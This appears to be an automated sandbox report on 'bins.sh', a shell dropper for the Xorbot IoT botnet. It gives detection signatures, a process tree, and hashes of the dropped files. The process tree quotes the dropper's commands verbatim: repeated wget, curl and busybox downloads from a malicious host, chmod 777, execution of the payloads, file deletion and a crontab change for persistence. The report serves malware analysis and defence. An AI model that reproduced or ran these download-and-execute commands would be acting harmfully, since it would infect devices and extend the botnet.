Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    16/01/2025, 13:22

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250116-ql79fssldv
  • SHA256 63929c383ea7a8a19923d7a86d9136bb4e3b6cca08db413d87fbf811ebd677dd
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1328) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          ./EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • File and Directory Permissions Modification
            PID:759
          • /tmp/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            ./CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
            • Executes dropped EXE
            PID:760
          • /bin/rm
            rm CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
            2⤵
              PID:764
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:765
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:780
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:795
            • /bin/chmod
              chmod 777 VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • File and Directory Permissions Modification
              PID:796
            • /tmp/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              ./VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
              • Executes dropped EXE
              PID:797
            • /bin/rm
              rm VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
              2⤵
                PID:799
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:800
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:801
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:803
              • /bin/chmod
                chmod 777 G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                ./G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:817
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:833
                • /bin/chmod
                  chmod 777 zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • File and Directory Permissions Modification
                  PID:841
                • /tmp/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  ./zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                  • Executes dropped EXE
                  PID:842
                • /bin/rm
                  rm zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                  2⤵
                    PID:845
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:849
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:850
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:852
                  • /bin/chmod
                    chmod 777 VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • File and Directory Permissions Modification
                    PID:853
                  • /tmp/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    ./VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:854
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:856
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:857
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:858
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:859
                        • /bin/rm
                          rm VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                          2⤵
                            PID:861
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                            2⤵
                            • System Network Configuration Discovery
                            PID:864
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/D7FXSSgtirdO1UiH8O0QM21cDVKU0ZiEAV
                            2⤵
                            • System Network Configuration Discovery
                            PID:865

                        Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

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                              Downloads

                              CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
                              • Path /tmp/CcS5KFbOYCUr08WDs2juxoNJneC6xmwLC5
                              • Size 127KB
                              • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
                              • Path /tmp/EtJ0dsWswc9rtlsrqm0U9eCbaJwQ1mFAfo
                              • Size 177KB
                              • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                              • Path /tmp/G7vY9Q3V659fxruNH9pU07SwgyNGwCZTpV
                              • Size 99KB
                              • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                              • Path /tmp/VqcrDqGiGpKf00s0pfLMgNK9wh8kuiXHHI
                              • Size 151KB
                              • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
                              • Path /tmp/VtmPw5uYT0UFhkBf12qAZC1pI1kjt8rARP
                              • Size 122KB
                              • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                              • Path /tmp/zvDK8sNKNtaHjiqEcFpsMQcNfXuzxmhuLL
                              • Size 141KB
                              • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                              • MD5 SHA1 SHA512 SSDEEP
                              Submit Download

                              tmp.Lgvjjx
                              • Path /var/spool/cron/crontabs/tmp.Lgvjjx
                              • Size 210B
                              • SHA256 ccbf0710651a637f4e861612745e6201b115548ccea942746636dbcc41431da5
                              • MD5 SHA1 SHA512
                              Submit Download